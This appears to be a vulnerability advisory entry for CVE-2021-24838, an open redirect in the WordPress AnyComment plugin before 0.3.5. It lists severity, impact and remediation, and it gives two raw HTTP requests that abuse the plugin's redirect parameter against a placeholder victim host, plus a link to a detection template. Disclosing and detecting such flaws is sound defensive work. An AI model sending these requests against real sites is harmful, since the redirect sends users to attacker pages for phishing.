| Title | WordPress AnyComment <0.3.5 - Open Redirect |
|---|---|
| Author | noobexploiter |
| Severity | Medium |
| Impact | An attacker can trick users into visiting a malicious website, leading to potential phishing attacks or the execution of other malicious activities. |
| Remediation | Update to the latest version of WordPress AnyComment plugin (0.3.5 or higher) to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02345 |
| CVE ID | CVE-2021-24838 |
| CWE ID | CWE-601 |
| Tags | cve2021 cve redirect anycomment wpscan wordpress wp-plugin bologer vuln |
WordPress AnyComment plugin before 0.3.5 contains an open redirect vulnerability via an API endpoint which passes user input via the redirect parameter to the wp_redirect() function without being validated. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /wp-json/anycomment/v1/auth/wordpress?redirect=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.5 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-json/anycomment/v1/auth/wordpress?redirect=https://interact.sh?a=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24838.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24838.pcap
N/AN/A